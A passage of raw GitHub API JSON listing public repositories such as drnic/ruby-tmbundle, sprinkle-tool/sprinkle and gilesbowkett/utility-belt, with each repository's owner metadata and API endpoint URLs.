_url":"https://api.github.com/repos/joseph/castanaut/pulls{/number}","milestones_url":"https://api.github.com/repos/joseph/castanaut/milestones{/number}","notifications_url":"https://api.github.com/repos/joseph/castanaut/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/joseph/castanaut/labels{/name}"},{"id":1259,"name":"ruby-tmbundle","full_name":"drnic/ruby-tmbundle","owner":{"login":"drnic","id":108,"avatar_url":"https://1.gravatar.com/avatar/cb2b768a5e546b24052ea03334e43676?d=https%3A%2F%2Fidenticons.github.com%2Fa3c65c2974270fd093ee8a9bf8ae7d0b.png","gravatar_id":"cb2b768a5e546b24052ea03334e43676","url":"https://api.github.com/users/drnic","html_url":"https://github.com/drnic","followers_url":"https://api.github.com/users/drnic/followers","following_url":"https://api.github.com/users/drnic/following{/other_user}","gists_url":"https://api.github.com/users/drnic/gists{/gist_id}","starred_url":"https://api.github.com/users/drnic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drnic/subscriptions","organizations_url":"https://api.github.com/users/drnic/orgs","repos_url":"https://api.github.com/users/drnic/repos","events_url":"https://api.github.com/users/drnic/events{/privacy}","received_events_url":"https://api.github.com/users/drnic/received_events","type":"User"},"private":false,"html_url":"https://github.com/drnic/ruby-tmbundle","description":"Ruby TextMate bundle","fork":false,"url":"https://api.github.com/repos/drnic/ruby-tmbundle","forks_url":"https://api.github.com/repos/drnic/ruby-tmbundle/forks","keys_url":"https://api.github.com/repos/drnic/ruby-tmbundle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/drnic/ruby-tmbundle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/drnic/ruby-tmbundle/teams","hooks_url":"https://api.github.com/repos/drnic/ruby-tmbundle/hooks","issue_events_url":"https://api.github.com/repos/drnic/ruby-tmbundle/issues/events{/number}","events_url":"https://api.github.com/repos/drnic/ruby-tmbundle/events","assignees_url":"https://api.github.com/repos/drnic/ruby-tmbundle/assignees{/user}","branches_url":"https://api.github.com/repos/drnic/ruby-tmbundle/branches{/branch}","tags_url":"https://api.github.com/repos/drnic/ruby-tmbundle/tags","blobs_url":"https://api.github.com/repos/drnic/ruby-tmbundle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/drnic/ruby-tmbundle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/drnic/ruby-tmbundle/git/refs{/sha}","trees_url":"https://api.github.com/repos/drnic/ruby-tmbundle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/drnic/ruby-tmbundle/statuses/{sha}","languages_url":"https://api.github.com/repos/drnic/ruby-tmbundle/languages","stargazers_url":"https://api.github.com/repos/drnic/ruby-tmbundle/stargazers","contributors_url":"https://api.github.com/repos/drnic/ruby-tmbundle/contributors","subscribers_url":"https://api.github.com/repos/drnic/ruby-tmbundle/subscribers","subscription_url":"https://api.github.com/repos/drnic/ruby-tmbundle/subscription","commits_url":"https://api.github.com/repos/drnic/ruby-tmbundle/commits{/sha}","git_commits_url":"https://api.github.com/repos/drnic/ruby-tmbundle/git/commits{/sha}","comments_url":"https://api.github.com/repos/drnic/ruby-tmbundle/comments{/number}","issue_comment_url":"https://api.github.com/repos/drnic/ruby-tmbundle/issues/comments/{number}","contents_url":"https://api.github.com/repos/drnic/ruby-tmbundle/contents/{+path}","compare_url":"https://api.github.com/repos/drnic/ruby-tmbundle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/drnic/ruby-tmbundle/merges","archive_url":"https://api.github.com/repos/drnic/ruby-tmbundle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/drnic/ruby-tmbundle/downloads","issues_url":"https://api.github.com/repos/drnic/ruby-tmbundle/issues{/number}","pulls_url":"https://api.github.com/repos/drnic/ruby-tmbundle/pulls{/number}","milestones_url":"https://api.github.com/repos/drnic/ruby-tmbundle/milestones{/number}","notifications_url":"https://api.github.com/repos/drnic/ruby-tmbundle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/drnic/ruby-tmbundle/labels{/name}"},{"id":1298,"name":"html-tmbundle","full_name":"drnic/html-tmbundle","owner":{"login":"drnic","id":108,"avatar_url":"https://1.gravatar.com/avatar/cb2b768a5e546b24052ea03334e43676?d=https%3A%2F%2Fidenticons.github.com%2Fa3c65c2974270fd093ee8a9bf8ae7d0b.png","gravatar_id":"cb2b768a5e546b24052ea03334e43676","url":"https://api.github.com/users/drnic","html_url":"https://github.com/drnic","followers_url":"https://api.github.com/users/drnic/followers","following_url":"https://api.github.com/users/drnic/following{/other_user}","gists_url":"https://api.github.com/users/drnic/gists{/gist_id}","starred_url":"https://api.github.com/users/drnic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/drnic/subscriptions","organizations_url":"https://api.github.com/users/drnic/orgs","repos_url":"https://api.github.com/users/drnic/repos","events_url":"https://api.github.com/users/drnic/events{/privacy}","received_events_url":"https://api.github.com/users/drnic/received_events","type":"User"},"private":false,"html_url":"https://github.com/drnic/html-tmbundle","description":"HTML TextMate bundle","fork":false,"url":"https://api.github.com/repos/drnic/html-tmbundle","forks_url":"https://api.github.com/repos/drnic/html-tmbundle/forks","keys_url":"https://api.github.com/repos/drnic/html-tmbundle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/drnic/html-tmbundle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/drnic/html-tmbundle/teams","hooks_url":"https://api.github.com/repos/drnic/html-tmbundle/hooks","issue_events_url":"https://api.github.com/repos/drnic/html-tmbundle/issues/events{/number}","events_url":"https://api.github.com/repos/drnic/html-tmbundle/events","assignees_url":"https://api.github.com/repos/drnic/html-tmbundle/assignees{/user}","branches_url":"https://api.github.com/repos/drnic/html-tmbundle/branches{/branch}","tags_url":"https://api.github.com/repos/drnic/html-tmbundle/tags","blobs_url":"https://api.github.com/repos/drnic/html-tmbundle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/drnic/html-tmbundle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/drnic/html-tmbundle/git/refs{/sha}","trees_url":"https://api.github.com/repos/drnic/html-tmbundle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/drnic/html-tmbundle/statuses/{sha}","languages_url":"https://api.github.com/repos/drnic/html-tmbundle/languages","stargazers_url":"https://api.github.com/repos/drnic/html-tmbundle/stargazers","contributors_url":"https://api.github.com/repos/drnic/html-tmbundle/contributors","subscribers_url":"https://api.github.com/repos/drnic/html-tmbundle/subscribers","subscription_url":"https://api.github.com/repos/drnic/html-tmbundle/subscription","commits_url":"https://api.github.com/repos/drnic/html-tmbundle/commits{/sha}","git_commits_url":"https://api.github.com/repos/drnic/html-tmbundle/git/commits{/sha}","comments_url":"https://api.github.com/repos/drnic/html-tmbundle/comments{/number}","issue_comment_url":"https://api.github.com/repos/drnic/html-tmbundle/issues/comments/{number}","contents_url":"https://api.github.com/repos/drnic/html-tmbundle/contents/{+path}","compare_url":"https://api.github.com/repos/drnic/html-tmbundle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/drnic/html-tmbundle/merges","archive_url":"https://api.github.com/repos/drnic/html-tmbundle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/drnic/html-tmbundle/downloads","issues_url":"https://api.github.com/repos/drnic/html-tmbundle/issues{/number}","pulls_url":"https://api.github.com/repos/drnic/html-tmbundle/pulls{/number}","milestones_url":"https://api.github.com/repos/drnic/html-tmbundle/milestones{/number}","notifications_url":"https://api.github.com/repos/drnic/html-tmbundle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/drnic/html-tmbundle/labels{/name}"},{"id":1299,"name":"orb","full_name":"noin/orb","owner":{"login":"noin","id":840,"avatar_url":"https://2.gravatar.com/avatar/f08f6910e7ad06bf8709bc3ffd4f7031?d=https%3A%2F%2Fidenticons.github.com%2Ffa83a11a198d5a7f0bf77a1987bcd006.png","gravatar_id":"f08f6910e7ad06bf8709bc3ffd4f7031","url":"https://api.github.com/users/noin","html_url":"https://github.com/noin","followers_url":"https://api.github.com/users/noin/followers","following_url":"https://api.github.com/users/noin/following{/other_user}","gists_url":"https://api.github.com/users/noin/gists{/gist_id}","starred_url":"https://api.github.com/users/noin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/noin/subscriptions","organizations_url":"https://api.github.com/users/noin/orgs","repos_url":"https://api.github.com/users/noin/repos","events_url":"https://api.github.com/users/noin/events{/privacy}","received_events_url":"https://api.github.com/users/noin/received_events","type":"User"},"private":false,"html_url":"https://github.com/noin/orb","description":"nFlux-Orb","fork":false,"url":"https://api.github.com/repos/noin/orb","forks_url":"https://api.github.com/repos/noin/orb/forks","keys_url":"https://api.github.com/repos/noin/orb/keys{/key_id}","collaborators_url":"https://api.github.com/repos/noin/orb/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/noin/orb/teams","hooks_url":"https://api.github.com/repos/noin/orb/hooks","issue_events_url":"https://api.github.com/repos/noin/orb/issues/events{/number}","events_url":"https://api.github.com/repos/noin/orb/events","assignees_url":"https://api.github.com/repos/noin/orb/assignees{/user}","branches_url":"https://api.github.com/repos/noin/orb/branches{/branch}","tags_url":"https://api.github.com/repos/noin/orb/tags","blobs_url":"https://api.github.com/repos/noin/orb/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/noin/orb/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/noin/orb/git/refs{/sha}","trees_url":"https://api.github.com/repos/noin/orb/git/trees{/sha}","statuses_url":"https://api.github.com/repos/noin/orb/statuses/{sha}","languages_url":"https://api.github.com/repos/noin/orb/languages","stargazers_url":"https://api.github.com/repos/noin/orb/stargazers","contributors_url":"https://api.github.com/repos/noin/orb/contributors","subscribers_url":"https://api.github.com/repos/noin/orb/subscribers","subscription_url":"https://api.github.com/repos/noin/orb/subscription","commits_url":"https://api.github.com/repos/noin/orb/commits{/sha}","git_commits_url":"https://api.github.com/repos/noin/orb/git/commits{/sha}","comments_url":"https://api.github.com/repos/noin/orb/comments{/number}","issue_comment_url":"https://api.github.com/repos/noin/orb/issues/comments/{number}","contents_url":"https://api.github.com/repos/noin/orb/contents/{+path}","compare_url":"https://api.github.com/repos/noin/orb/compare/{base}...{head}","merges_url":"https://api.github.com/repos/noin/orb/merges","archive_url":"https://api.github.com/repos/noin/orb/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/noin/orb/downloads","issues_url":"https://api.github.com/repos/noin/orb/issues{/number}","pulls_url":"https://api.github.com/repos/noin/orb/pulls{/number}","milestones_url":"https://api.github.com/repos/noin/orb/milestones{/number}","notifications_url":"https://api.github.com/repos/noin/orb/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/noin/orb/labels{/name}"},{"id":1302,"name":"ikhebhonger","full_name":"bart-xx/ikhebhonger","owner":{"login":"bart-xx","id":909,"avatar_url":"https://1.gravatar.com/avatar/6d723250f9c1c093ee16b53a09448d8c?d=https%3A%2F%2Fidenticons.github.com%2Fa4300b002bcfb71f291dac175d52df94.png","gravatar_id":"6d723250f9c1c093ee16b53a09448d8c","url":"https://api.github.com/users/bart-xx","html_url":"https://github.com/bart-xx","followers_url":"https://api.github.com/users/bart-xx/followers","following_url":"https://api.github.com/users/bart-xx/following{/other_user}","gists_url":"https://api.github.com/users/bart-xx/gists{/gist_id}","starred_url":"https://api.github.com/users/bart-xx/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bart-xx/subscriptions","organizations_url":"https://api.github.com/users/bart-xx/orgs","repos_url":"https://api.github.com/users/bart-xx/repos","events_url":"https://api.github.com/users/bart-xx/events{/privacy}","received_events_url":"https://api.github.com/users/bart-xx/received_events","type":"User"},"private":false,"html_url":"https://github.com/bart-xx/ikhebhonger","description":"Restaurant mashup site","fork":false,"url":"https://api.github.com/repos/bart-xx/ikhebhonger","forks_url":"https://api.github.com/repos/bart-xx/ikhebhonger/forks","keys_url":"https://api.github.com/repos/bart-xx/ikhebhonger/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bart-xx/ikhebhonger/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bart-xx/ikhebhonger/teams","hooks_url":"https://api.github.com/repos/bart-xx/ikhebhonger/hooks","issue_events_url":"https://api.github.com/repos/bart-xx/ikhebhonger/issues/events{/number}","events_url":"https://api.github.com/repos/bart-xx/ikhebhonger/events","assignees_url":"https://api.github.com/repos/bart-xx/ikhebhonger/assignees{/user}","branches_url":"https://api.github.com/repos/bart-xx/ikhebhonger/branches{/branch}","tags_url":"https://api.github.com/repos/bart-xx/ikhebhonger/tags","blobs_url":"https://api.github.com/repos/bart-xx/ikhebhonger/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bart-xx/ikhebhonger/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bart-xx/ikhebhonger/git/refs{/sha}","trees_url":"https://api.github.com/repos/bart-xx/ikhebhonger/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bart-xx/ikhebhonger/statuses/{sha}","languages_url":"https://api.github.com/repos/bart-xx/ikhebhonger/languages","stargazers_url":"https://api.github.com/repos/bart-xx/ikhebhonger/stargazers","contributors_url":"https://api.github.com/repos/bart-xx/ikhebhonger/contributors","subscribers_url":"https://api.github.com/repos/bart-xx/ikhebhonger/subscribers","subscription_url":"https://api.github.com/repos/bart-xx/ikhebhonger/subscription","commits_url":"https://api.github.com/repos/bart-xx/ikhebhonger/commits{/sha}","git_commits_url":"https://api.github.com/repos/bart-xx/ikhebhonger/git/commits{/sha}","comments_url":"https://api.github.com/repos/bart-xx/ikhebhonger/comments{/number}","issue_comment_url":"https://api.github.com/repos/bart-xx/ikhebhonger/issues/comments/{number}","contents_url":"https://api.github.com/repos/bart-xx/ikhebhonger/contents/{+path}","compare_url":"https://api.github.com/repos/bart-xx/ikhebhonger/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bart-xx/ikhebhonger/merges","archive_url":"https://api.github.com/repos/bart-xx/ikhebhonger/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bart-xx/ikhebhonger/downloads","issues_url":"https://api.github.com/repos/bart-xx/ikhebhonger/issues{/number}","pulls_url":"https://api.github.com/repos/bart-xx/ikhebhonger/pulls{/number}","milestones_url":"https://api.github.com/repos/bart-xx/ikhebhonger/milestones{/number}","notifications_url":"https://api.github.com/repos/bart-xx/ikhebhonger/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bart-xx/ikhebhonger/labels{/name}"},{"id":1303,"name":"permalizer","full_name":"revans/permalizer","owner":{"login":"revans","id":394,"avatar_url":"https://0.gravatar.com/avatar/bc5fbb4a793359c2c527e37edfa470a2?d=https%3A%2F%2Fidenticons.github.com%2F28f0b864598a1291557bed248a998d4e.png","gravatar_id":"bc5fbb4a793359c2c527e37edfa470a2","url":"https://api.github.com/users/revans","html_url":"https://github.com/revans","followers_url":"https://api.github.com/users/revans/followers","following_url":"https://api.github.com/users/revans/following{/other_user}","gists_url":"https://api.github.com/users/revans/gists{/gist_id}","starred_url":"https://api.github.com/users/revans/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/revans/subscriptions","organizations_url":"https://api.github.com/users/revans/orgs","repos_url":"https://api.github.com/users/revans/repos","events_url":"https://api.github.com/users/revans/events{/privacy}","received_events_url":"https://api.github.com/users/revans/received_events","type":"User"},"private":false,"html_url":"https://github.com/revans/permalizer","description":"An easy way to create Permalinks.","fork":false,"url":"https://api.github.com/repos/revans/permalizer","forks_url":"https://api.github.com/repos/revans/permalizer/forks","keys_url":"https://api.github.com/repos/revans/permalizer/keys{/key_id}","collaborators_url":"https://api.github.com/repos/revans/permalizer/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/revans/permalizer/teams","hooks_url":"https://api.github.com/repos/revans/permalizer/hooks","issue_events_url":"https://api.github.com/repos/revans/permalizer/issues/events{/number}","events_url":"https://api.github.com/repos/revans/permalizer/events","assignees_url":"https://api.github.com/repos/revans/permalizer/assignees{/user}","branches_url":"https://api.github.com/repos/revans/permalizer/branches{/branch}","tags_url":"https://api.github.com/repos/revans/permalizer/tags","blobs_url":"https://api.github.com/repos/revans/permalizer/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/revans/permalizer/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/revans/permalizer/git/refs{/sha}","trees_url":"https://api.github.com/repos/revans/permalizer/git/trees{/sha}","statuses_url":"https://api.github.com/repos/revans/permalizer/statuses/{sha}","languages_url":"https://api.github.com/repos/revans/permalizer/languages","stargazers_url":"https://api.github.com/repos/revans/permalizer/stargazers","contributors_url":"https://api.github.com/repos/revans/permalizer/contributors","subscribers_url":"https://api.github.com/repos/revans/permalizer/subscribers","subscription_url":"https://api.github.com/repos/revans/permalizer/subscription","commits_url":"https://api.github.com/repos/revans/permalizer/commits{/sha}","git_commits_url":"https://api.github.com/repos/revans/permalizer/git/commits{/sha}","comments_url":"https://api.github.com/repos/revans/permalizer/comments{/number}","issue_comment_url":"https://api.github.com/repos/revans/permalizer/issues/comments/{number}","contents_url":"https://api.github.com/repos/revans/permalizer/contents/{+path}","compare_url":"https://api.github.com/repos/revans/permalizer/compare/{base}...{head}","merges_url":"https://api.github.com/repos/revans/permalizer/merges","archive_url":"https://api.github.com/repos/revans/permalizer/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/revans/permalizer/downloads","issues_url":"https://api.github.com/repos/revans/permalizer/issues{/number}","pulls_url":"https://api.github.com/repos/revans/permalizer/pulls{/number}","milestones_url":"https://api.github.com/repos/revans/permalizer/milestones{/number}","notifications_url":"https://api.github.com/repos/revans/permalizer/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/revans/permalizer/labels{/name}"},{"id":1318,"name":"sprinkle","full_name":"sprinkle-tool/sprinkle","owner":{"login":"sprinkle-tool","id":4121318,"avatar_url":"https://identicons.github.com/e5cfb82e868d055ce1ddbebed117d622.png","gravatar_id":null,"url":"https://api.github.com/users/sprinkle-tool","html_url":"https://github.com/sprinkle-tool","followers_url":"https://api.github.com/users/sprinkle-tool/followers","following_url":"https://api.github.com/users/sprinkle-tool/following{/other_user}","gists_url":"https://api.github.com/users/sprinkle-tool/gists{/gist_id}","starred_url":"https://api.github.com/users/sprinkle-tool/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sprinkle-tool/subscriptions","organizations_url":"https://api.github.com/users/sprinkle-tool/orgs","repos_url":"https://api.github.com/users/sprinkle-tool/repos","events_url":"https://api.github.com/users/sprinkle-tool/events{/privacy}","received_events_url":"https://api.github.com/users/sprinkle-tool/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/sprinkle-tool/sprinkle","description":"Sprinkle is a software provisioning tool you can use to build remote servers with. eg. to install a Rails, or Sinatra stack on a brand new slice directly after its been created","fork":false,"url":"https://api.github.com/repos/sprinkle-tool/sprinkle","forks_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/forks","keys_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/teams","hooks_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/hooks","issue_events_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/issues/events{/number}","events_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/events","assignees_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/assignees{/user}","branches_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/branches{/branch}","tags_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/tags","blobs_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/git/refs{/sha}","trees_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/statuses/{sha}","languages_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/languages","stargazers_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/stargazers","contributors_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/contributors","subscribers_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/subscribers","subscription_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/subscription","commits_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/commits{/sha}","git_commits_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/git/commits{/sha}","comments_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/comments{/number}","issue_comment_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/issues/comments/{number}","contents_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/contents/{+path}","compare_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/merges","archive_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/downloads","issues_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/issues{/number}","pulls_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/pulls{/number}","milestones_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/milestones{/number}","notifications_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/labels{/name}"},{"id":1321,"name":"wlwdeezerplayer","full_name":"julesss/wlwdeezerplayer","owner":{"login":"julesss","id":929,"avatar_url":"https://identicons.github.com/0d0871f0806eae32d30983b62252da50.png","gravatar_id":null,"url":"https://api.github.com/users/julesss","html_url":"https://github.com/julesss","followers_url":"https://api.github.com/users/julesss/followers","following_url":"https://api.github.com/users/julesss/following{/other_user}","gists_url":"https://api.github.com/users/julesss/gists{/gist_id}","starred_url":"https://api.github.com/users/julesss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julesss/subscriptions","organizations_url":"https://api.github.com/users/julesss/orgs","repos_url":"https://api.github.com/users/julesss/repos","events_url":"https://api.github.com/users/julesss/events{/privacy}","received_events_url":"https://api.github.com/users/julesss/received_events","type":"User"},"private":false,"html_url":"https://github.com/julesss/wlwdeezerplayer","description":"Lets you insert a Deezer player in your blog using Windows Live Writer","fork":false,"url":"https://api.github.com/repos/julesss/wlwdeezerplayer","forks_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/forks","keys_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/keys{/key_id}","collaborators_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/teams","hooks_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/hooks","issue_events_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/issues/events{/number}","events_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/events","assignees_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/assignees{/user}","branches_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/branches{/branch}","tags_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/tags","blobs_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/git/refs{/sha}","trees_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/git/trees{/sha}","statuses_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/statuses/{sha}","languages_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/languages","stargazers_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/stargazers","contributors_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/contributors","subscribers_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/subscribers","subscription_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/subscription","commits_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/commits{/sha}","git_commits_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/git/commits{/sha}","comments_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/comments{/number}","issue_comment_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/issues/comments/{number}","contents_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/contents/{+path}","compare_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/compare/{base}...{head}","merges_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/merges","archive_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/downloads","issues_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/issues{/number}","pulls_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/pulls{/number}","milestones_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/milestones{/number}","notifications_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/labels{/name}"},{"id":1344,"name":"utility-belt","full_name":"gilesbowkett/utility-belt","owner":{"login":"gilesbowkett","id":974,"avatar_url":"https://2.gravatar.com/avatar/ce8b03e5750097942c58e12b46724312?d=https%3A%2F%2Fidenticons.github.com%2F4311359ed4969e8401880e3c1836fbe1.png","gravatar_id":"ce8b03e5750097942c58e12b46724312","url":"https://api.github.com/users/gilesbowkett","html_url":"https://github.com/gilesbowkett","followers_url":"https://api.github.com/users/gilesbowkett/followers","following_url":"https://api.github.com/users/gilesbowkett/following{/other_user}","gists_url":"https://api.github.com/users/gilesbowkett/gists{/gist_id}","starred_url":"https://api.github.com/users/gilesbowkett/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gilesbowkett/subscriptions","organizations_url":"https://api.github.com/users/gilesbowkett/orgs","repos_url":"https://api.github.com/users/gilesbowkett/repos","events_url":"https://api.github.com/users/gilesbowkett/events{/privacy}","received_events_url":"https://api.github.com/users/gilesbowkett/received_events","type":"User"},"private":false,"html_url":"https://github.com/gilesbowkett/utility-belt","description":"IRB Power User Utility Belt","fork":false,"url":"https://api.github.com/repos/gilesbowkett/utility-belt","forks_url":"https://api.github.com/repos/gilesbowkett/utility-belt/forks","keys_url":"https://api.github.com/repos/gilesbowkett/utility-belt/keys{/key_id}","collaborators_url":"https://api.github.com/repos/gilesbowkett/utility-belt/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/gilesbowkett/utility-belt/teams","hooks_url":"https://api.github.com/repos/gilesbowkett/utility-belt/hooks","issue_events_url":"https://api.github.com/repos/gilesbowkett/utility-belt/issues/events{/number}","events_url":"https://api.github.com/repos/gilesbowkett/utility-belt/events","assignees_url":"https://api.github.com/repos/gilesbowkett/utility-belt/assignees{/user}","branches_url":"https://api.github.com/repos/gilesbowkett/utility-belt/branches{/branch}","tags_url":"https://api.github.com/repos/gilesbowkett/utility-belt/tags","blobs_url":"https://api.github.com/repos/gilesbowkett/utility-belt/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/gilesbowkett/utility-belt/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/gilesbowkett/utility-belt/git/refs{/sha}","trees_url":"https://api.github.com/repos/gilesbowkett/utility-belt/git/trees{/sha}","statuses_url":"https://api.github.com/repos/gilesbowkett/utility-belt/statuses/{sha}","languages_url":"https://api.github.com/repos/gilesbowkett/utility-belt/languages","stargazers_url":"https://api.github.com/repos/gilesbowkett/utility-belt/stargazers","contributors_url":"https://api.github.com/repos/gilesbowkett/utility-belt/contributors","subscribers_url":"https://api.github.com/repos/gilesbowkett/utility-belt/subscribers","subscription_url":"https://api.github.com/repos/gilesbowkett/utility-belt/subscription","commits_url":"https://api.github.com/repos/gilesbowkett/utility-belt/commits{/sha}","git_commits_url":"https://api.github.com/repos/gilesbowkett/utility-belt/git/commits{/sha}","comments_url":"https://api.github.com/repos/gilesbowkett/utility-belt/comments{/number}","issue_comment_url":"https://api.github.com/repos/gilesbowkett/utility-belt/issues/comments/{number}","contents_url":"https://api.github.com/repos/gilesbowkett/utility-belt/contents/{+path}","compare_url":"https://api.github.com/repos/gilesbowkett/utility-belt/compare/{base}...{head}","merges_url":"https://api.github.com/repos/gilesbowkett/utility-belt/merges","archive_url":"https://api.github.com/repos/gilesbowkett/utility-belt/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/gilesbowkett/utility-belt/downloads","issues_url":"https://api.github.com/repos/gilesbowkett/utility-belt/issues{/number}","pulls_url":"https://api.github.com/repos/gilesbowkett/utility-belt/pulls{/number}","milestones_url":"https://api.github.com/repos/gilesbowkett/utility-belt/milestones{/number}","notifications_url":"https://api.github.com/repos/gilesbowkett/utility-belt/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/gilesbowkett/utility-belt/labels{/name}"},{"id":1353,"name":"restful-authentication","full_name":"labria/restful-authentication","owner":{"login":"labria","id":323,"avatar_url":"https://1.gravatar.com/avatar/f5049506664636c6cc725099367bd167?d=https%3A%2F%2Fidenticons.github.com%2Fbc6dc48b743dc5d013b1abaebd2faed2.png","gravatar_id":"f5049506664636c6cc725099367bd167","url":"https://api.github.com/users/labria","html_url":"https://github.com/labria","followers_url":"https://api.github.com/users/labria/followers","following_url":"https://api.github.com/users/labria/following{/other_user}","gists_url":"https://api.github.com/users/labria/gists{/gist_id}","starred_url":"https://api.github.com/users/labria/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/labria/subscriptions","organizations_url":"https://api.github.com/users/labria/orgs","repos_url":"https://api.github.com/users/labria/repos","events_url":"https://api.github.com/users/labria/events{/privacy}","received_events_url":"https://api.github.com/users/labria/received_events","type":"U